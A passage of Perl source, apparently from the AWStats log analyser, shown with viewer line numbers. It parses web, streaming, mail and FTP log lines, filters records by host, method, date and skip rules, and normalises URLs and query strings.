" LastLineChecksum=$LastLineChecksum, Read line checksum=$checksum",
10677
 
                                        1
10678
 
                                );
10679
 
                        }
10680
 
                        if ( $checksum == $LastLineChecksum ) {
10681
 
                                if ( !scalar keys %HTMLOutput ) {
10682
 
                                        print
10683
 
"Direct access after last parsed record (after line $LastLineNumber)\n";
10684
 
                                }
10685
 
                                $lastlinenb         = $LastLineNumber;
10686
 
                                $lastlineoffset     = $LastLineOffset;
10687
 
                                $lastlineoffsetnext = tell LOG;
10688
 
                                $NewLinePhase       = 1;
10689
 
                        }
10690
 
                        else {
10691
 
                                if ( !scalar keys %HTMLOutput ) {
10692
 
                                        print
10693
 
"Direct access to last remembered record has fallen on another record.\nSo searching new records from beginning of log file...\n";
10694
 
                                }
10695
 
                                $lastlinenb         = 0;
10696
 
                                $lastlineoffset     = 0;
10697
 
                                $lastlineoffsetnext = 0;
10698
 
                                seek( LOG, 0, 0 );
10699
 
                        }
10700
 
                }
10701
 
                else {
10702
 
                        if ( !scalar keys %HTMLOutput ) {
10703
 
                                print
10704
 
"Direct access to last remembered record is out of file.\nSo searching it from beginning of log file...\n";
10705
 
                        }
10706
 
                        $lastlinenb         = 0;
10707
 
                        $lastlineoffset     = 0;
10708
 
                        $lastlineoffsetnext = 0;
10709
 
                        seek( LOG, 0, 0 );
10710
 
                }
10711
 
        }
10712
 
        else {
10713
 
 
10714
 
                # No try of direct seek access
10715
 
                if ( !scalar keys %HTMLOutput ) {
10716
 
                        print "Searching new records from beginning of log file...\n";
10717
 
                }
10718
 
                $lastlinenb         = 0;
10719
 
                $lastlineoffset     = 0;
10720
 
                $lastlineoffsetnext = 0;
10721
 
        }
10722
 
 
10723
 
        #
10724
 
        # Loop on each log line
10725
 
        #
10726
 
        while ( $line = <LOG> ) {
10727
 
                
10728
 
                # 20080525 BEGIN Patch to test if first char of $line = hex "00" then conclude corrupted with binary code
10729
 
                my $FirstHexChar;
10730
 
                $FirstHexChar = sprintf( "%02X", ord( substr( $line, 0, 1 ) ) );
10731
 
                if ( $FirstHexChar eq '00' ) {
10732
 
                        $NbOfLinesCorrupted++;
10733
 
                        if ($ShowCorrupted) {
10734
 
                                print "Corrupted record line "
10735
 
                                  . ( $lastlinenb + $NbOfLinesParsed )
10736
 
                                  . " (record starts with hex 00; binary code): $line\n";
10737
 
                        }
10738
 
                        if (   $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
10739
 
                                && $NbOfLinesParsed == $NbOfLinesCorrupted )
10740
 
                        {
10741
 
                                error( "Format error", $line, $LogFile );
10742
 
                        }    # Exit with format error
10743
 
                        next;
10744
 
                }
10745
 
                # 20080525 END
10746
 
 
10747
 
                chomp $line;
10748
 
                $line =~ s/\r$//;
10749
 
                if ( $UpdateFor && $NbOfLinesParsed >= $UpdateFor ) { last; }
10750
 
                $NbOfLinesParsed++;
10751
 
 
10752
 
                $lastlineoffset     = $lastlineoffsetnext;
10753
 
                $lastlineoffsetnext = tell LOG;
10754
 
 
10755
 
                if ($ShowSteps) {
10756
 
                        if ( ( ++$NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) == 0 ) {
10757
 
                                my $delay = &GetDelaySinceStart(0);
10758
 
                                print "$NbOfLinesParsed lines processed ("
10759
 
                                  . ( $delay > 0 ? $delay : 1000 ) . " ms, "
10760
 
                                  . int(
10761
 
                                        1000 * $NbOfLinesShowsteps / ( $delay > 0 ? $delay : 1000 )
10762
 
                                  )
10763
 
                                  . " lines/second)\n";
10764
 
                        }
10765
 
                }
10766
 
 
10767
 
                if ( $LogFormat eq '2' && $line =~ /^#Fields:/ ) {
10768
 
                        my @fixField = map( /^#Fields: (.*)/, $line );
10769
 
                        if ( $fixField[0] !~ /s-kernel-time/ ) {
10770
 
                                debug( "Found new log format: '" . $fixField[0] . "'", 1 );
10771
 
                                &DefinePerlParsingFormat( $fixField[0] );
10772
 
                        }
10773
 
                }
10774
 
 
10775
 
                # Parse line record to get all required fields
10776
 
                if ( !( @field = map( /$PerlParsingFormat/, $line ) ) ) {
10777
 
                        $NbOfLinesCorrupted++;
10778
 
                        if ($ShowCorrupted) {
10779
 
                                if ( $line =~ /^#/ || $line =~ /^!/ ) {
10780
 
                                        print "Corrupted record line "
10781
 
                                          . ( $lastlinenb + $NbOfLinesParsed )
10782
 
                                          . " (comment line): $line\n";
10783
 
                                }
10784
 
                                elsif ( $line =~ /^\s*$/ ) {
10785
 
                                        print "Corrupted record line "
10786
 
                                          . ( $lastlinenb + $NbOfLinesParsed )
10787
 
                                          . " (blank line)\n";
10788
 
                                }
10789
 
                                else {
10790
 
                                        print "Corrupted record line "
10791
 
                                          . ( $lastlinenb + $NbOfLinesParsed )
10792
 
                                          . " (record format does not match LogFormat parameter): $line\n";
10793
 
                                }
10794
 
                        }
10795
 
                        if (   $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
10796
 
                                && $NbOfLinesParsed == $NbOfLinesCorrupted )
10797
 
                        {
10798
 
                                error( "Format error", $line, $LogFile );
10799
 
                        }    # Exit with format error
10800
 
                        if ( $line =~ /^__end_of_file__/i ) { last; } # For test purpose only
10801
 
                        next;
10802
 
                }
10803
 
 
10804
 
                if ($Debug) {
10805
 
                        my $string = '';
10806
 
                        foreach ( 0 .. @field - 1 ) {
10807
 
                                $string .= "$fieldlib[$_]=$field[$_] ";
10808
 
                        }
10809
 
                        if ($Debug) {
10810
 
                                debug(
10811
 
                                        " Correct format line "
10812
 
                                          . ( $lastlinenb + $NbOfLinesParsed )
10813
 
                                          . ": $string",
10814
 
                                        4
10815
 
                                );
10816
 
                        }
10817
 
                }
10818
 
 
10819
 
                # Drop wrong virtual host name
10820
 
                #----------------------------------------------------------------------
10821
 
                if ( $pos_vh >= 0 && $field[$pos_vh] !~ /^$SiteDomain$/i ) {
10822
 
                        my $skip = 1;
10823
 
                        foreach (@HostAliases) {
10824
 
                                if ( $field[$pos_vh] =~ /$_/ ) { $skip = 0; last; }
10825
 
                        }
10826
 
                        if ($skip) {
10827
 
                                $NbOfLinesDropped++;
10828
 
                                if ($ShowDropped) {
10829
 
                                        print
10830
 
"Dropped record (virtual hostname '$field[$pos_vh]' does not match SiteDomain='$SiteDomain' nor HostAliases parameters): $line\n";
10831
 
                                }
10832
 
                                next;
10833
 
                        }
10834
 
                }
10835
 
 
10836
 
                # Drop wrong method/protocol
10837
 
                #---------------------------
10838
 
                if ( $LogType ne 'M' ) { $field[$pos_url] =~ s/\s/%20/g; }
10839
 
                if (
10840
 
                        $LogType eq 'W'
10841
 
                        && (
10842
 
                                   $field[$pos_method] eq 'GET'
10843
 
                                || $field[$pos_method] eq 'POST'
10844
 
                                || $field[$pos_method] eq 'HEAD'
10845
 
                                || $field[$pos_method] eq 'PROPFIND'
10846
 
                                || $field[$pos_method] eq 'CHECKOUT'
10847
 
                                || $field[$pos_method] eq 'LOCK'
10848
 
                                || $field[$pos_method] eq 'PROPPATCH'
10849
 
                                || $field[$pos_method] eq 'OPTIONS'
10850
 
                                || $field[$pos_method] eq 'MKACTIVITY'
10851
 
                                || $field[$pos_method] eq 'PUT'
10852
 
                                || $field[$pos_method] eq 'MERGE'
10853
 
                                || $field[$pos_method] eq 'DELETE'
10854
 
                                || $field[$pos_method] eq 'REPORT'
10855
 
                                || $field[$pos_method] eq 'MKCOL'
10856
 
                                || $field[$pos_method] eq 'COPY'
10857
 
                                || $field[$pos_method] eq 'RPC_IN_DATA'
10858
 
                                || $field[$pos_method] eq 'RPC_OUT_DATA'
10859
 
                                || $field[$pos_method] eq 'OK'             # Webstar
10860
 
                                || $field[$pos_method] eq 'ERR!'           # Webstar
10861
 
                                || $field[$pos_method] eq 'PRIV'           # Webstar
10862
 
                        )
10863
 
                  )
10864
 
                {
10865
 
 
10866
 
# HTTP request. Keep only GET, POST, HEAD, *OK* and ERR! for Webstar. Do not keep OPTIONS, TRACE
10867
 
                }
10868
 
                elsif (
10869
 
                        ( $LogType eq 'W' || $LogType eq 'S' )
10870
 
                        && (   $field[$pos_method] eq 'GET'
10871
 
                                || $field[$pos_method] eq 'mms'
10872
 
                                || $field[$pos_method] eq 'rtsp'
10873
 
                                || $field[$pos_method] eq 'http'
10874
 
                                || $field[$pos_method] eq 'RTP' )
10875
 
                  )
10876
 
                {
10877
 
 
10878
 
# Streaming request (windows media server, realmedia or darwin streaming server)
10879
 
                }
10880
 
                elsif ( $LogType eq 'M' && $field[$pos_method] eq 'SMTP' ) {
10881
 
 
10882
 
                # Mail request ('SMTP' for mail log with maillogconvert.pl preprocessor)
10883
 
                }
10884
 
                elsif (
10885
 
                        $LogType eq 'F'
10886
 
                        && (   $field[$pos_method] eq 'RETR'
10887
 
                                || $field[$pos_method] eq 'o'
10888
 
                                || $field[$pos_method] =~ /$regget/o )
10889
 
                  )
10890
 
                {
10891
 
 
10892
 
                        # FTP GET request
10893
 
                }
10894
 
                elsif (
10895
 
                        $LogType eq 'F'
10896
 
                        && (   $field[$pos_method] eq 'STOR'
10897
 
                                || $field[$pos_method] eq 'i'
10898
 
                                || $field[$pos_method] =~ /$regsent/o )
10899
 
                  )
10900
 
                {
10901
 
 
10902
 
                        # FTP SENT request
10903
 
                }
10904
 
                else {
10905
 
                        $NbOfLinesDropped++;
10906
 
                        if ($ShowDropped) {
10907
 
                                print
10908
 
"Dropped record (method/protocol '$field[$pos_method]' not qualified when LogType=$LogType): $line\n";
10909
 
                        }
10910
 
                        next;
10911
 
                }
10912
 
 
10913
 
                $field[$pos_date] =~
10914
 
                  tr/,-\/ \t/:::::/s;  # " \t" is used instead of "\s" not known with tr
10915
 
                my @dateparts =
10916
 
                  split( /:/, $field[$pos_date] )
10917
 
                  ; # tr and split faster than @dateparts=split(/[\/\-:\s]/,$field[$pos_date])
10918
 
                 # Detected date format: dddddddddd, YYYY-MM-DD HH:MM:SS (IIS), MM/DD/YY\tHH:MM:SS,
10919
 
                 # DD/Month/YYYY:HH:MM:SS (Apache), DD/MM/YYYY HH:MM:SS, Mon DD HH:MM:SS
10920
 
                if ( !$dateparts[1] ) {    # Unix timestamp
10921
 
                        (
10922
 
                                $dateparts[5], $dateparts[4], $dateparts[3],
10923
 
                                $dateparts[0], $dateparts[1], $dateparts[2]
10924
 
                          )
10925
 
                          = localtime( int( $field[$pos_date] ) );
10926
 
                        $dateparts[1]++;
10927
 
                        $dateparts[2] += 1900;
10928
 
                }
10929
 
                elsif ( $dateparts[0] =~ /^....$/ ) {
10930
 
                        my $tmp = $dateparts[0];
10931
 
                        $dateparts[0] = $dateparts[2];
10932
 
                        $dateparts[2] = $tmp;
10933
 
                }
10934
 
                elsif ( $field[$pos_date] =~ /^..:..:..:/ ) {
10935
 
                        $dateparts[2] += 2000;
10936
 
                        my $tmp = $dateparts[0];
10937
 
                        $dateparts[0] = $dateparts[1];
10938
 
                        $dateparts[1] = $tmp;
10939
 
                }
10940
 
                elsif ( $dateparts[0] =~ /^...$/ ) {
10941
 
                        my $tmp = $dateparts[0];
10942
 
                        $dateparts[0] = $dateparts[1];
10943
 
                        $dateparts[1] = $tmp;
10944
 
                        $tmp          = $dateparts[5];
10945
 
                        $dateparts[5] = $dateparts[4];
10946
 
                        $dateparts[4] = $dateparts[3];
10947
 
                        $dateparts[3] = $dateparts[2];
10948
 
                        $dateparts[2] = $tmp || $nowyear;
10949
 
                }
10950
 
                if ( exists( $MonthNum{ $dateparts[1] } ) ) {
10951
 
                        $dateparts[1] = $MonthNum{ $dateparts[1] };
10952
 
                }    # Change lib month in num month if necessary
10953
 
                if ( $dateparts[1] <= 0 )
10954
 
                { # Date corrupted (for example $dateparts[1]='dic' for december month in a spanish log file)
10955
 
                        $NbOfLinesCorrupted++;
10956
 
                        if ($ShowCorrupted) {
10957
 
                                print "Corrupted record line "
10958
 
                                  . ( $lastlinenb + $NbOfLinesParsed )
10959
 
                                  . " (bad date format for month, may be month are not in english ?): $line\n";
10960
 
                        }
10961
 
                        next;
10962
 
                }
10963
 
 
10964
 
# Now @dateparts is (DD,MM,YYYY,HH,MM,SS) and we're going to create $timerecord=YYYYMMDDHHMMSS
10965
 
                if ( $PluginsLoaded{'ChangeTime'}{'timezone'} ) {
10966
 
                        @dateparts = ChangeTime_timezone( \@dateparts );
10967
 
                }
10968
 
                my $yearrecord  = int( $dateparts[2] );
10969
 
                my $monthrecord = int( $dateparts[1] );
10970
 
                my $dayrecord   = int( $dateparts[0] );
10971
 
                my $hourrecord  = int( $dateparts[3] );
10972
 
                my $daterecord  = '';
10973
 
                if ( $DatabaseBreak eq 'month' ) {
10974
 
                        $daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord );
10975
 
                }
10976
 
                elsif ( $DatabaseBreak eq 'year' ) {
10977
 
                        $daterecord = sprintf( "%04i%", $yearrecord );
10978
 
                }
10979
 
                elsif ( $DatabaseBreak eq 'day' ) {
10980
 
                        $daterecord =
10981
 
                          sprintf( "%04i%02i%02i", $yearrecord, $monthrecord, $dayrecord );
10982
 
                }
10983
 
                elsif ( $DatabaseBreak eq 'hour' ) {
10984
 
                        $daterecord = sprintf( "%04i%02i%02i%02i",
10985
 
                                $yearrecord, $monthrecord, $dayrecord, $hourrecord );
10986
 
                }
10987
 
 
10988
 
                # TODO essayer de virer yearmonthrecord
10989
 
                my $yearmonthdayrecord =
10990
 
                  sprintf( "$dateparts[2]%02i%02i", $dateparts[1], $dateparts[0] );
10991
 
                my $timerecord =
10992
 
                  ( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
10993
 
                          $dateparts[4] ) * 100 + $dateparts[5];
10994
 
 
10995
 
                # Check date
10996
 
                #-----------------------
10997
 
                if ( $LogType eq 'M' && $timerecord > $tomorrowtime ) {
10998
 
 
10999
 
# Postfix/Sendmail does not store year, so we assume that year is year-1 if record is in future
11000
 
                        $yearrecord--;
11001
 
                        if ( $DatabaseBreak eq 'month' ) {
11002
 
                                $daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord );
11003
 
                        }
11004
 
                        elsif ( $DatabaseBreak eq 'year' ) {
11005
 
                                $daterecord = sprintf( "%04i%", $yearrecord );
11006
 
                        }
11007
 
                        elsif ( $DatabaseBreak eq 'day' ) {
11008
 
                                $daterecord = sprintf( "%04i%02i%02i",
11009
 
                                        $yearrecord, $monthrecord, $dayrecord );
11010
 
                        }
11011
 
                        elsif ( $DatabaseBreak eq 'hour' ) {
11012
 
                                $daterecord = sprintf( "%04i%02i%02i%02i",
11013
 
                                        $yearrecord, $monthrecord, $dayrecord, $hourrecord );
11014
 
                        }
11015
 
 
11016
 
                        # TODO essayer de virer yearmonthrecord
11017
 
                        $yearmonthdayrecord =
11018
 
                          sprintf( "$yearrecord%02i%02i", $dateparts[1], $dateparts[0] );
11019
 
                        $timerecord =
11020
 
                          ( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
11021
 
                                  $dateparts[4] ) * 100 + $dateparts[5];
11022
 
                }
11023
 
                if ( $timerecord < 10000000000000 || $timerecord > $tomorrowtime ) {
11024
 
                        $NbOfLinesCorrupted++;
11025
 
                        if ($ShowCorrupted) {
11026
 
                                print
11027
 
"Corrupted record (invalid date, timerecord=$timerecord): $line\n";
11028
 
                        }
11029
 
                        next;   # Should not happen, kept in case of parasite/corrupted line
11030
 
                }
11031
 
                if ($NewLinePhase) {
11032
 
 
11033
 
                        # TODO NOTSORTEDRECORDTOLERANCE does not work around midnight
11034
 
                        if ( $timerecord < ( $LastLine - $NOTSORTEDRECORDTOLERANCE ) ) {
11035
 
 
11036
 
                                # Should not happen, kept in case of parasite/corrupted old line
11037
 
                                $NbOfLinesCorrupted++;
11038
 
                                if ($ShowCorrupted) {
11039
 
                                        print
11040
 
"Corrupted record (date $timerecord lower than $LastLine-$NOTSORTEDRECORDTOLERANCE): $line\n";
11041
 
                                }
11042
 
                                next;
11043
 
                        }
11044
 
                }
11045
 
                else {
11046
 
                        if ( $timerecord <= $LastLine ) {    # Already processed
11047
 
                                $NbOfOldLines++;
11048
 
                                next;
11049
 
                        }
11050
 
 
11051
 
# We found a new line. This will replace comparison "<=" with "<" between timerecord and LastLine (we should have only new lines now)
11052
 
                        $NewLinePhase = 1;    # We will never enter here again
11053
 
                        if ($ShowSteps) {
11054
 
                                if ( $NbOfLinesShowsteps > 1
11055
 
                                        && ( $NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) )
11056
 
                                {
11057
 
                                        my $delay = &GetDelaySinceStart(0);
11058
 
                                        print ""
11059
 
                                          . ( $NbOfLinesParsed - 1 )
11060
 
                                          . " lines processed ("
11061
 
                                          . ( $delay > 0 ? $delay : 1000 ) . " ms, "
11062
 
                                          . int( 1000 * ( $NbOfLinesShowsteps - 1 ) /
11063
 
                                                  ( $delay > 0 ? $delay : 1000 ) )
11064
 
                                          . " lines/second)\n";
11065
 
                                }
11066
 
                                &GetDelaySinceStart(1);
11067
 
                                $NbOfLinesShowsteps = 1;
11068
 
                        }
11069
 
                        if ( !scalar keys %HTMLOutput ) {
11070
 
                                print
11071
 
"Phase 2 : Now process new records (Flush history on disk after "
11072
 
                                  . ( $LIMITFLUSH << 2 )
11073
 
                                  . " hosts)...\n";
11074
 
 
11075
 
#print "Phase 2 : Now process new records (Flush history on disk after ".($LIMITFLUSH<<2)." hosts or ".($LIMITFLUSH)." URLs)...\n";
11076
 
                        }
11077
 
                }
11078
 
 
11079
 
                # Convert URL for Webstar to common URL
11080
 
                if ( $LogFormat eq '3' ) {
11081
 
                        $field[$pos_url] =~ s/:/\//g;
11082
 
                        if ( $field[$pos_code] eq '-' ) { $field[$pos_code] = '200'; }
11083
 
                }
11084
 
 
11085
 
# Here, field array, timerecord and yearmonthdayrecord are initialized for log record
11086
 
                if ($Debug) {
11087
 
                        debug( "  This is a not already processed record ($timerecord)",
11088
 
                                4 );
11089
 
                }
11090
 
 
11091
 
                # We found a new line
11092
 
                #----------------------------------------
11093
 
                if ( $timerecord > $LastLine ) {
11094
 
                        $LastLine = $timerecord;
11095
 
                }    # Test should always be true except with not sorted log files
11096
 
 
11097
 
                # Skip for some client host IP addresses, some URLs, other URLs
11098
 
                if (
11099
 
                        @SkipHosts
11100
 
                        && ( &SkipHost( $field[$pos_host] )
11101
 
                                || ( $pos_hostr && &SkipHost( $field[$pos_hostr] ) ) )
11102
 
                  )
11103
 
                {
11104
 
                        $qualifdrop =
11105
 
                            "Dropped record (host $field[$pos_host]"
11106
 
                          . ( $pos_hostr ? " and $field[$pos_hostr]" : "" )
11107
 
                          . " not qualified by SkipHosts)";
11108
 
                }
11109
 
                elsif ( @SkipFiles && &SkipFile( $field[$pos_url] ) ) {
11110
 
                        $qualifdrop =
11111
 
"Dropped record (URL $field[$pos_url] not qualified by SkipFiles)";
11112
 
                }
11113
 
                elsif (@SkipUserAgents
11114
 
                        && $pos_agent >= 0
11115
 
                        && &SkipUserAgent( $field[$pos_agent] ) )
11116
 
                {
11117
 
                        $qualifdrop =
11118
 
"Dropped record (user agent '$field[$pos_agent]' not qualified by SkipUserAgents)";
11119
 
                }
11120
 
                elsif (@SkipReferrers
11121
 
                        && $pos_referer >= 0
11122
 
                        && &SkipReferrer( $field[$pos_referer] ) )
11123
 
                {
11124
 
                        $qualifdrop =
11125
 
"Dropped record (URL $field[$pos_referer] not qualified by SkipReferrers)";
11126
 
                }
11127
 
                elsif (@OnlyHosts
11128
 
                        && !&OnlyHost( $field[$pos_host] )
11129
 
                        && ( !$pos_hostr || !&OnlyHost( $field[$pos_hostr] ) ) )
11130
 
                {
11131
 
                        $qualifdrop =
11132
 
                            "Dropped record (host $field[$pos_host]"
11133
 
                          . ( $pos_hostr ? " and $field[$pos_hostr]" : "" )
11134
 
                          . " not qualified by OnlyHosts)";
11135
 
                }
11136
 
                elsif ( @OnlyUsers && !&OnlyUser( $field[$pos_logname] ) ) {
11137
 
                        $qualifdrop =
11138
 
"Dropped record (URL $field[$pos_logname] not qualified by OnlyUsers)";
11139
 
                }
11140
 
                elsif ( @OnlyFiles && !&OnlyFile( $field[$pos_url] ) ) {
11141
 
                        $qualifdrop =
11142
 
"Dropped record (URL $field[$pos_url] not qualified by OnlyFiles)";
11143
 
                }
11144
 
                elsif ( @OnlyUserAgents && !&OnlyUserAgent( $field[$pos_agent] ) ) {
11145
 
                        $qualifdrop =
11146
 
"Dropped record (user agent '$field[$pos_agent]' not qualified by OnlyUserAgents)";
11147
 
                }
11148
 
                if ($qualifdrop) {
11149
 
                        $NbOfLinesDropped++;
11150
 
                        if ($Debug) { debug( "$qualifdrop: $line", 4 ); }
11151
 
                        if ($ShowDropped) { print "$qualifdrop: $line\n"; }
11152
 
                        $qualifdrop = '';
11153
 
                        next;
11154
 
                }
11155
 
 
11156
 
                # Record is approved
11157
 
                #-------------------
11158
 
 
11159
 
                # Is it in a new break section ?
11160
 
                #-------------------------------
11161
 
                if ( $daterecord > $lastprocesseddate ) {
11162
 
 
11163
 
                        # A new break to process
11164
 
                        if ( $lastprocesseddate > 0 ) {
11165
 
 
11166
 
                                # We save data of previous break
11167
 
                                &Read_History_With_TmpUpdate(
11168
 
                                        $lastprocessedyear, $lastprocessedmonth,
11169
 
                                        $lastprocessedday,  $lastprocessedhour,
11170
 
                                        1,                  1,
11171
 
                                        "all", ( $lastlinenb + $NbOfLinesParsed ),
11172
 
                                        $lastlineoffset, &CheckSum($line)
11173
 
                                );
11174
 
                                $counterforflushtest = 0;    # We reset counterforflushtest
11175
 
                        }
11176
 
                        $lastprocessedyear  = $yearrecord;
11177
 
                        $lastprocessedmonth = $monthrecord;
11178
 
                        $lastprocessedday   = $dayrecord;
11179
 
                        $lastprocessedhour  = $hourrecord;
11180
 
                        if ( $DatabaseBreak eq 'month' ) {
11181
 
                                $lastprocesseddate =
11182
 
                                  sprintf( "%04i%02i", $yearrecord, $monthrecord );
11183
 
                        }
11184
 
                        elsif ( $DatabaseBreak eq 'year' ) {
11185
 
                                $lastprocesseddate = sprintf( "%04i%", $yearrecord );
11186
 
                        }
11187
 
                        elsif ( $DatabaseBreak eq 'day' ) {
11188
 
                                $lastprocesseddate = sprintf( "%04i%02i%02i",
11189
 
                                        $yearrecord, $monthrecord, $dayrecord );
11190
 
                        }
11191
 
                        elsif ( $DatabaseBreak eq 'hour' ) {
11192
 
                                $lastprocesseddate = sprintf( "%04i%02i%02i%02i",
11193
 
                                        $yearrecord, $monthrecord, $dayrecord, $hourrecord );
11194
 
                        }
11195
 
                }
11196
 
 
11197
 
                $countedtraffic = 0;
11198
 
                $NbOfNewLines++;
11199
 
 
11200
 
                # Convert $field[$pos_size]
11201
 
                # if ($field[$pos_size] eq '-') { $field[$pos_size]=0; }
11202
 
 
11203
 
        # Define a clean target URL and referrer URL
11204
 
        # We keep a clean $field[$pos_url] and
11205
 
        # we store original value for urlwithnoquery, tokenquery and standalonequery
11206
 
        #---------------------------------------------------------------------------
11207
 
                if ($URLNotCaseSensitive) { $field[$pos_url] = lc( $field[$pos_url] ); }
11208
 
 
11209
 
# Possible URL syntax for $field[$pos_url]: /mydir/mypage.ext?param1=x&param2=y#aaa, /mydir/mypage.ext#aaa, /
11210
 
                my $urlwithnoquery;
11211
 
                my $tokenquery;
11212
 
                my $standalonequery;
11213
 
                my $anchor = '';
11214
 
                if ( $field[$pos_url] =~ s/$regtruncanchor//o ) {
11215
 
                        $anchor = $1;
11216
 
                }    # Remove and save anchor
11217
 
                if ($URLWithQuery) {
11218
 
                        $urlwithnoquery = $field[$pos_url];
11219
 
                        my $foundparam = ( $urlwithnoquery =~ s/$regtruncurl//o );
11220
 
                        $tokenquery      = $1 || '';
11221
 
                        $standalonequery = $2 || '';
11222
 
 
11223
 
# For IIS setup, if pos_query is enabled we need to combine the URL to query strings
11224
 
                        if (   !$foundparam
11225
 
                                && $pos_query >= 0
11226
 
                                && $field[$pos_query]
11227
 
                                && $field[$pos_query] ne '-' )
11228
 
                        {
11229
 
                                $foundparam      = 1;
11230
 
                                $tokenquery      = '?';
11231
 
                                $standalonequery = $field[$pos_query];
11232
 
 
11233
 
                                # Define query
11234
 
                                $field[$pos_url] .= '?' . $field[$pos_query];
11235
 
                        }
11236
 
                        if ($foundparam) {
11237
 
 
11238
 
  # Keep only params that are defined in URLWithQueryWithOnlyFollowingParameters
11239
 
                                my $newstandalonequery = '';
11240
 
                                if (@URLWithQueryWithOnly) {
11241
 
                                        foreach (@URLWithQueryWithOnly) {
11242
 
                                                foreach my $p ( split( /&/, $standalonequery ) ) {
11243
 
                                                        if ($URLNotCaseSensitive) {
11244
 
                                                                if ( $p =~ /^$_=/i ) {
11245
 
                                                                        $newstandalonequery .= "$p&";
11246
 
                                                                        last;
11247
 
                                                                }
11248
 
                                                        }
11249
 
                                                        else {
11250
 
                                                                if ( $p =~ /^$_=/ ) {
11251
 
                                                                        $newstandalonequery .= "$p&";
11252
 
                                                                        last;
11253
 
                                                                }
11254
 
                                                        }
11255
 
                                                }
11256
 
                                        }
11257
 
                                        chop $newstandalonequery;
11258
 
                                }
11259
 
 
11260
 
# Remove params that are marked to be ignored in URLWithQueryWithoutFollowingParameters
11261
 
                                elsif (@URLWithQueryWithout) {
11262
 
                                        foreach my $p ( split( /&/, $standalonequery ) ) {
11263
 
                                                my $found = 0;
11264
 
                                                foreach (@URLWithQueryWithout) {
11265
 
 
11266
 
#if ($Debug) { debug("  Check if '$_=' is param '$p' to remove it from query",5); }
11267
 
                                                        if ($URLNotCaseSensitive) {
11268
 
                                                                if ( $p =~ /^$_=/i ) { $found = 1; last; }
11269
 
                                                        }
11270
 
                                                        else {
11271
 
                                                                if ( $p =~ /^$_=/ ) { $found = 1; last; }
11272
 
                                                        }
11273
 
                                                }
11274
 
                                                if ( !$found ) { $newstandalonequery .= "$p&"; }
11275
 
                                        }
11276
 
                                        chop $newstandalonequery;
11277
 
                                }
11278
 
                                else { $newstandalonequery = $standalonequery; }
11279
 
 
11280
 
                                # Define query
11281
 
                                $field[$pos_url] = $urlwithnoquery;
11282
 
                                if ($newstandalonequery) {
11283
 
                                        $field[$pos_url] .= "$tokenquery$newstandalonequery";
11284
 
                                }
11285
 
                        }
11286
 
                }
11287
 
                else {
11288
 
 
11289
 
                        # Trunc parameters of URL
11290
 
                        $field[$pos_url] =~ s/$regtruncurl//o;
11291
 
                        $urlwithnoquery  = $field[$pos_url];
11292
 
                        $tokenquery      = $1 || '';
11293
 
                        $standalonequery = $2 || '';
11294
 
 
11295
 
        # For IIS setup, if pos_query is enabled we need to use it for query strings
11296
 
                        if (   $pos_query >= 0
11297
 
                                && $field[$pos_query]
11298
 
                                && $field[$pos_query] ne '-' )
11299
 
                        {
11300
 
                                $tokenquery      = '?';
11301
 
                                $standalonequery = $field[$pos_query];
11302
 
                        }
11303
 
                }
11304
 
                if ( $URLWithAnchor && $anchor ) {
11305
 
                        $field[$pos_url] .= "#$anchor";
11306
 
                }   # Restore anchor
11307
 
                    # Here now urlwithnoquery is /mydir/mypage.ext, /mydir, /, /page#XXX
11308
 
                    # Here now tokenquery is '' or '?' or ';'
11309
 
                    # Here now standalonequery is '' or 'param1=x'
11310
 
 
11311
 
                # Define page and extension
11312
 
                #--------------------------
11313
 
                my $PageBool = 1;
11314
 
 
11315
 
                # Extension
11316
 
                my $extension;
11317
 
                if ( $urlwithnoquery =~ /$regext/o
11318
 
                        || ( $urlwithnoquery =~ /[\\\/]$/ && $DefaultFile[0] =~ /$regext/o )
11319
 
                  )
11320
 
                {
11321
 
                        $extension =
11322
 
                          ( $LevelForFileTypesDetection >= 2 || $MimeHashFamily{$1} )
11323
 
                          ? lc($1)
11324
 
                          : 'Unknown';
11325
 
                        if ( $NotPageList{$extension} ) { $PageBool = 0; }
11326
 
                }
11327
 
                else {
11328
 
                        $extension = 'Unknown';
11329
 
                }
11330
 
 
11331
 
                if ( @NotPageFiles && &NotPageFile( $field[$pos_url] ) ) {
11332
 
                        $PageBool = 0;
11333
 
                }
11334
 
 
11335
 
                # Analyze: misc tracker (must be before return code)
11336
 
                #---------------------------------------------------
11337
 
                if ( $urlwithnoquery =~ /$regmisc/o ) {
11338
 
                        if ($Debug) {
11339
 
                                debug(
11340
 
"  Found an URL that is a MiscTracker record with standalonequery=$standalonequery",
11341
 
                                        2
11342
 
                                );
11343
 
                        }
11344
 
                        my $foundparam = 0;
11345
 
                        foreach ( split( /&/, $standalonequery ) ) {
11346
 
                                if ( $_ =~ /^screen=(\d+)x(\d+)/i ) {
11347
 
                                        $foundparam++;
11348
 
                                        $_screensize_h{"$1x$2"}++;
11349
 
                                        next;
11350
 
                                }
11351
 
 
11352
 
   #if ($_ =~ /cdi=(\d+)/i)                     { $foundparam++; $_screendepth_h{"$1"}++; next; }
11353
 
                                if ( $_ =~ /^nojs=(\w+)/i ) {
11354
 
                                        $foundparam++;
11355
 
                                        if ( $1 eq 'y' ) { $_misc_h{"JavascriptDisabled"}++; }
11356
 
                                        next;
11357
 
                                }
11358
 
                                if ( $_ =~ /^java=(\w+)/i ) {
11359
 
                                        $foundparam++;
11360
 
                                        if ( $1 eq 'true' ) { $_misc_h{"JavaEnabled"}++; }
11361
 
                                        next;
11362
 
                                }
11363
 
                                if ( $_ =~ /^shk=(\w+)/i ) {
11364
 
                                        $foundparam++;
11365
 
                                        if ( $1 eq 'y' ) { $_misc_h{"DirectorSupport"}++; }
11366
 
                                        next;
11367
 
                                }
11368
 
                                if ( $_ =~ /^fla=(\w+)/i ) {
11369
 
                                        $foundparam++;
11370
 
                                        if ( $1 eq 'y' ) { $_misc_h{"FlashSupport"}++; }
11371
 
                                        next;
11372
 
                                }
11373
 
                                if ( $_ =~ /^rp=(\w+)/i ) {
11374
 
                                        $foundparam++;
11375
 
                                        if ( $1 eq 'y' ) { $_misc_h{"RealPlayerSupport"}++; }
11376
 
                                        next;
11377
 
